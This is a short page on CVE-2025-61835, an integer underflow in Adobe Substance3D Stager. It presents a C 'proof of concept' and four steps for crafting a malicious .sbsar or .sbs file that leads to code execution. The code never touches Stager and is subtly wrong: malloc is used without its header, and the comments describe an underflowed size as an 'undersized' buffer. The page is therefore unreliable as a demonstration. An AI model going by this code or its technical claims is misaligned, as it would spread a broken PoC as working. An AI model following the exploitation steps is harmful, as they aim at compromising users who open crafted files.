CVE-2025-61835 Adobe Substance3D Stager整数下溢漏洞

// CVE-2025-61835 PoC - Integer Underflow in Adobe Substance3D Stager // This PoC demonstrates the vulnerability trigger mechanism // Note: Actual exploit requires crafting specific file format #include <stdio.h> #include <stdint.h> #include <string.h> // Malicious file structure to trigger integer underflow typedef struct { uint32_t magic; // File magic number uint32_t version; // File version uint32_t data_count; // Number of data entries uint32_t data_size; // Size of data (can trigger underflow) uint8_t payload[1024]; // Malicious payload } malicious_file_t; // Function that demonstrates the vulnerable code pattern void process_data_entry(uint32_t count, uint32_t size) { // Vulnerable: No validation before subtraction // If size < count, the calculation underflows uint32_t remaining = size - count; // Integer underflow occurs here // Allocate buffer based on underflowed value uint8_t* buffer = (uint8_t*)malloc(remaining); // Write data to undersized buffer - heap overflow // This can be exploited for arbitrary code execution } int main() { printf("CVE-2025-61835 PoC Trigger\n"); printf("Target: Adobe Substance3D Stager <= 3.1.5\n"); printf("Vulnerability: Integer Underflow\n"); // Example trigger values uint32_t count = 100; uint32_t size = 50; // size < count triggers underflow process_data_entry(count, size); return 0; } // To exploit: // 1. Create a malicious .sbsar or .sbs file // 2. Modify file header with crafted size values // 3. Open file in Adobe Substance3D Stager // 4. Integer underflow triggers, leading to code execution